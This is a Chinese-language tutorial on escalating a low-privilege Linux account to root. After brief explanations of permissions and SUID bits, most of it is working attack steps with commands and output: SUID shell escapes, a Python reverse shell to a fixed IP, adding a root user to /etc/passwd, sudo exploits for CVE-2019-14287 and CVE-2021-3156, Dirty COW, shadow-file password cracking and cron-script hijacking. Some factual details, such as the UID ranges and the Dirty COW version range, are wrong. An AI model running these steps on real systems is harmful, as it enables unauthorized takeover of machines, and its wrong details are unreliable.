当拿到了一台Linux服务器的低权限账号,想要通过技术手段提权至 root 用户权限,以执行更多的操作。

linux权限

用户

在Linux系统中,用户是分角色的,角色不同,对应权限不同。用户角色通过UID和GID识别。特别是UID,一个UID是唯一标识一个系统用户的账号。

  • 超级用户(0):默认是root用户,其UID和GID都是0。root用户在每台Unix和Linux系统中都是唯一且真是存在的,通过它可以登陆系统,操作系统中任何文件执行系统中任何命令,拥有最高管理权限。
  • 普通用户(1~499):系统中大多数用户都是普通用户,实际中也一般使用普通用户操作,需要权限是用sudo命令提升权限。
  • 虚拟用户(500~65535):与真实的普通用户区分开来,这类用户最大特点是安装系统后默认就会存在,且默认情况大多数不能登陆系统,其在/etc/passwd文件中,最后字段为/sbin/nologin。是系统正常运行不可缺少的,主要是方便系统管理,满足相应的系统进程对文件属主的要求

文件

1
-rw-r--r--  1 root root      56 Jun 16 23:29 hash.txt

这里可以分为7个字段。

第一组数据 -rw-r–r–

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
第一位:
-: 代表普通文件
d:代表目录
l:代表软链接
b:代表块文件
c:代表字符设备

第二及后面几位,分别三个为一组:

rw-r--r-- 代表文件所属的权限

r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行

rw- 表示文件所拥有者的权限。
r-- 表示文件所在组的用户的权限。
r-- 表示其他组的用户的权限。

第二组数据

  • 如果文件类型为目录,表示目录下的字目录个数
  • 如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数

第三组数据 root . 表示该文件所有者为 root 用户
第四组数据 root. 表示该文件所在组为root 组
第五组数据 56 表示文件的大小为多少字节。如果为一个目录,则为4096。 第六组数据表示最后一次修改时间
第七组数据表示文件名称

如果为目录,r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录

同样的,可以用数字代替,r=4,w=2,x=1。

SUID/SGID/SBIT的作用?

1 SUID

当s出现在文件拥有者的x权限上时,如我们上面看到的/usr/bin/passwd这个文件的权限时-rwsr-xr-x,此时就被称为SET UID简称SUID.SUID对于一个文件有什么限制和功能呢?

SUID权限仅对二进制可执行文件有效,执行者对于该文件具有x的权限,本权限仅在执行该文件的过程中有效,执行者将具有该文件拥有者的权限。

例如:

普通用户用passwd修改自己的命令,实际上最终更改的是/etc/passwd文件. 此文件时用户管理配置文件,只有root权限才能更改。
既然是root用户才拥有此权限,为什么我们可以通过passwd命令来修改密码呢,那这就要归功于passwd设置了suid权限位了。
此时普通用户通过执行passwd命令,临时拥有root权限,间接的修改/etc/passwd,以达到修改自己密码的权限。

2 SGID

当s出现在目录或文件所属群的x权限上时,此时就称为SET GID简称SGID,那SGID对文件和目录分部有哪些功能呢?

2.1 SGID对目录

使用者若对于此目录具有 r 与 x 的权限时,该使用者能够进入此目录

使用者在此目录下的群组将会变成该目录的群组

若使用者在此目录下具有 w 的权限(可以新建文件),则使用者所创建的新文件,该新文件的群组与此目录的群组相同

2.2 SGID对文件

SGID 对二进制可执行文件有效

程式执行者对于该文件来说,需具备 x 的权限

执行者在执行的过程中将会获得该文件群组的支援(用于改文件群组的权限)

3 SBIT

当s出现在目录其他用户的x权限上时,此时就称为Sticky Bit简称SBIT,那SBIT有哪些限制和作用呢?

仅对目录有效,对文件无效

当使用者在该目录下建立文件或目录时(有权限的情况下),仅自己与 root 才有权力删除新建的目录或文件

提权思路:大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/恶意劫持/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用。

内核提权

1
2
3
4
5
6
7
8
9
10
查看发行版
cat /etc/issue
cat /etc/*-release
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
kali@kali:~/Desktop$ cat /etc/issue
Kali GNU/Linux Rolling \n \l

kali@kali:~/Desktop$ cat /etc/*-release
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2021.1"
VERSION_ID="2021.1"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
kali@kali:~/Desktop$ uname -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:~/Desktop$ uname -r
5.7.0-kali1-amd64
kali@kali:~/Desktop$ uname -n
kali
kali@kali:~/Desktop$ uname -m
x86_64

SUID 提权

谈一谈Linux与suid提权

什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。

常见的可用来提权的Linux 可执行文件有:

1
Nmap, Vim, find, bash, more, less, nano, cp

查看可以suid 提权的可执行文件

1
find / -perm -u=s -type f 2>/dev/null

find

1
2
3
4
5
ye1s@ye1s:~/Desktop$ ls -la /usr/bin/find
-rwsr-xr-x 1 root root 320160 2月 18 2020 /usr/bin/find
ye1s@ye1s:~/Desktop$ touch ye1s
ye1s@ye1s:~/Desktop$ /usr/bin/find test -exec whoami \;
root

反弹shell,结合python

1
/usr/bin/find ye1s -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

但是反弹的 shell 不是 root 权限,在本机上 find 执行 id 时,有一个 euid (euid 就是我们通常说的 suid, 或者叫 excute user id,它使文件执行时拥有该文件所有者的权限。)为 root 权限,但是反弹 shell 中并没有。

获取root权限的shell

默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid 。如果使用了 -p 参数,则不会再覆盖。

1
2
3
4
ye1s@ye1s:~/Desktop$ /usr/bin/find ye1s -exec /bin/bash -p \;
bash-5.0# whoami
root
bash-5.0#

cp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ye1s@ye1s:~/Desktop$ cat /etc/passwd >passwd
ye1s@ye1s:~/Desktop$ openssl passwd -1 -salt r00t r00t123
$1$r00t$GBgW4V80tY8U8PF.5VOUN1
ye1s@ye1s:~/Desktop$ echo 'r00t:$1$r00t$GBgW4V80tY8U8PF.5VOUN1:0:0::/root/:/bin/bash' >>passwd
ye1s@ye1s:~/Desktop$ cp passwd /etc/passwd
cp: cannot create regular file '/etc/passwd': Permission denied
ye1s@ye1s:~/Desktop$ whereis cp
cp: /usr/bin/cp /usr/share/man/man1/cp.1.gz
ye1s@ye1s:~/Desktop$ ls -la /usr/bin/cp
-rwxr-xr-x 1 root root 153976 9月 5 2019 /usr/bin/cp
ye1s@ye1s:~/Desktop$ sudo chmod 4755 /usr/bin/cp
[sudo] password for ye1s:
ye1s@ye1s:~/Desktop$ ls -la /usr/bin/cp
-rwsr-xr-x 1 root root 153976 9月 5 2019 /usr/bin/cp
ye1s@ye1s:~/Desktop$ cp passwd /etc/passwd
ye1s@ye1s:~/Desktop$ su - r00t
Password:
root@ye1s:~# whoami
root
root@ye1s:~# id
uid=0(root) gid=0(root) groups=0(root)

nmap

较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

1
nmap -V

Nmap - 版本识别

交互模式可以通过执行Nmap参数”interactive”

1
nmap --interactive

Nmap - 交互模式

以下命令将提供一个提升的shell。

1
2
3
nmap> !sh
sh-3.2# whoami
root

提权至Root权限

也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。

1
exploit/unix/local/setuid_nmap

VIM

Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。

1
vim.tiny /etc/shadow

Vim - Shadow文件读取

1
2
3
4
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

less and more

less
less命令也可以进入shell

1
2
3
less /etc/passwd
#在less中输入:
!/bin/sh

more
more命令进入shell和less相同

1
2
3
more /etc/passwd
#在more中输入:
!/bin/sh

使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能,无法使用!命令进入shell

利用bash提权

以下命令将以root权限打开一个bash shell。

1
2
bash -p 
bash-3.2# id

Sudo 提权

CVE-2019-14287

[提权]sudo提权复现(CVE-2019-14287) https://www.cnblogs.com/-mo-/p/11683402.html

该漏洞是一个sudo安全策略绕过问题,可导致恶意用户或程序在目标 Linux 系统上以 root 身份执行任意命令。个人觉得该漏洞比较鸡肋,因为需要特殊的配置才能触发,在默认的Linux中并不会存在该安全问题。

影响版本:

任何linux机器上执行sudo -V得到的版本 < 1.8.28均可

由于需要特定的配置,所以首先修改配置文件sudoers(文件位置/etc/sudoers)

在 root ALL=(ALL:ALL) ALL 下面添加一行配置:

1
test    ALL=(ALL,!root) ALL

详解

1
2
3
4
1.其中的test表示用户名
2.第一个ALL表示允许该用户在任意机器或者终端中使用sudo
3.括号里面的(ALL,!root)表示命令可以被除了root以外的任意用户身份去执行
4.最后一个ALL表示被允许执行

添加的这一行的配置的意思就是:test这个用户可以使用sudo命令,以除了root以外的任意身份去执行命令。

执行sudo -u#id whoami,这里的id可以去试任何id

尝试高权限操作
执行cat /etc/shadow失败
执行sudo -u#-1 cat /etc/shadow成功

使用 sudo -u#id 指定用户 id 去执行命令,由于可以指定id,所以可以使用-u#-1或者-u#4294967295绕过限制,从而以root身份去执行任意代码:这是因为 sudo 命令本身就已经以用户 ID 为0 运行,因此当 sudo 试图将用户 ID 修改成 -1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令

CVE-2021-3156

当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

影响版本:
Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1

不受影响版本:
sudo =>1.9.5p2

检测方式

1
sudoedit -s /

报错开头以sudoedit则存在漏洞,报错以usage开头,则不受影响

下载exp并执行

1
2
3
git clone https://github.com/blasty/CVE-2021-3156.git
make
./sudo-hax-me-a-sandwich 0

密码破解

在Linux系统中,涉及系统登陆密码的重要文件有两个:

1
2
3
4
/etc/passwd
#用户信息
/etc/shadow
#密码信息

Linux操作系统采用5中常用的加密算法,主要通过账号后面的$x进行判断

1
2
3
4
5
$1:Md5加密算法
$2:Blowfish加密算法
$5:sha-256加密算法
$6:sha-512加密算法
其他均为标准DES加密算法

需要安装jhon

1
sudo unshadow /etc/passwd /etc/shadow > shadow

生成一个名为shadow的密码文件,接下来使用密码字典进步暴力破解

1
2
3
4
5
6
7
8
9

ye1s@ye1s:~/Desktop$ john --wordlist=dict.txt --rules shadow
Loaded 3 password hashes with 3 different salts (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
密码 (root)
密码 (ye1s)
2g 0:00:00:00 100% 33.33g/s 200.0p/s 600.0c/s 600.0C/s 123456..qw123!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

内核提权

Linux系统内核指的是一个由 Linus Torvalds 负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。

Linux内核版本有两种:稳定版 和 开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字

  • 第一个组数字:目前发布的内核主版本。
  • 第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
  • 第三个组数字:错误修补的次数。

如下,使用 uname -r 可以看到linux系统的发行版本号。3.10.0就是内核版本号。3就是内核主版本,10表示是稳定版,0表示错误修补次数是0。 而 123.el7.x86_64则是 redhat 的发行版本信息,123 代表编译123次,el7代表的是redhat7,x86_64则是64位系统。

1
2
ye1s@ye1s:~$ uname -r
3.10.0-123.el7.x86_64

检查linux提权辅助工具,les该工具主要帮助检测linux内核的安全缺陷。

下载地址:

1
https://github.com/mzet-/linux-exploit-suggester

将linux-exploit-suggester.sh下载到要检查的主机上,主要使用以下两条指令:

1
2
3
chmod +x linux-exploit-suggester.sh

./linux-exploit-suggester.sh

利用kail的searchsploit,可以写更多的搜索字符串条件来缩小范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
e1s@kali:/usr/share/exploitdb/exploits/linux/dos$ searchsploit ubuntu 4.8.0
------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free | linux/dos/43234.c
Linux Kernel 4.8.0-22/3.10.0-327 (Ubuntu 16.10 / RedHat) - 'keyctl' Null Pointer Dereference | linux/dos/40762.c
Linux Kernel 4.8.0-34 < 4.8.0-45 (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation | linux/local/47168.c
Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Local Privilege Escalation | linux/local/41994.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation | linux/local/41760.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

exp的路径为相对路径,还需加上/usr/share/exploitdb/exploits/,
需要漫长地点开exp看具体要求的筛选过程,大部分exp都会写清生效条件。因此虽然很气,但也很快地去掉一些不具备利用条件的exp。

1
2
3
4
#gcc exp.c
#./a.out
id
uid=0(root) gid=0(root)

脏牛漏洞提权(CVE-2016-5195)
影响版本
Linux 内核2.6.22 < 3.9

https://github.com/FireFart/dirtycow

编译

1
gcc -pthread dirty.c -o dirty -lcrypt

运行

1
./dirty

或者

1
./dirty my-new-password

然后

1
su firefart

Crontab

Crontab通常以root权限运行。如果可以成功篡改在定时任务执行的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。

crontab命令用来定期执行程序。

1
2
3
-e   编辑当前的crontab文件,默认保存在/var/spool/cron/用户名下
-r 删除目前的时程表
-l 列出目前的时程表

语法格式

分 时 日 月 周 需要执行的命令

1
2
3
4
5
6
7
8
9
分:0~59
时:0~23
日:1~31
月:1~12
周:0~6 #0代表周日
*:(星号)代表取值范围中的每一个数字
-:(减号)连续区间表达式,想要代表1~7,则需要写成1-7
/:(斜杠)表示每x个。例如想在每10分钟执行一次,则在分的位置写:*/10
,:(逗号)表示多个取值。如果想在1点,3点,5点执行一次,则在时的位置写:1,3,5

如:

1
*/2 * * * * echo `date` >> /tmp/stu01

表示每两分钟输出时间到/tmp/stu01文件

/var/spool/cron/user 用来区分每个用户自己的执行计划

而 /etc/crontab 表示系统执行计划,需要在五个*后面加上用户
如编辑/etc/crontab 文件

如添加

1
*/1 * * * * root  ls />> /tmp/cron

表示每分钟执行ls命令并输出到/tmp/cron 文件。

假如root用户配置不当,在/etc/crontab文件创建了一个计划任务。
意为每分钟执行test.sh文件并输出到/tmp/test.txt文件。
查看该test.sh文件以cseroad用户身份运行。

我们可以通过覆盖test.sh文件提升为root权限。

1
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" >> test.sh

几分钟后,tmp目录下会创建出SUID权限的bash。

/tmp/bash -p 即可获取root权限

第三方服务提权

第三方服务提权
我们还可以查看主机上其他的第三方服务,利用第三方服务的漏洞可以拿到主机的 root 权限。比如如果主机的mysql或tomcat是用root权限启动的,而我们又通过漏洞拿到了mysql或tomcat的权限,就相当于获得了root的权限。

密码复用

很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。

参考文章:
Linux提权总结_谢公子博客

https://www.hacking8.com/tiquan/other/Linux%E6%8F%90%E6%9D%83.html

对Linux 提权的简单结:https://blog.csdn.net/weixin_41679427/article/details/110311694

Linux提权之Suid提权:https://www.secice.cn/p/a20c8cf4
sudo提权总结: https://www.jianshu.com/p/71cb0ee0f0ea
linux 提权-Crontab提权:https://www.jianshu.com/p/039cc25c03dd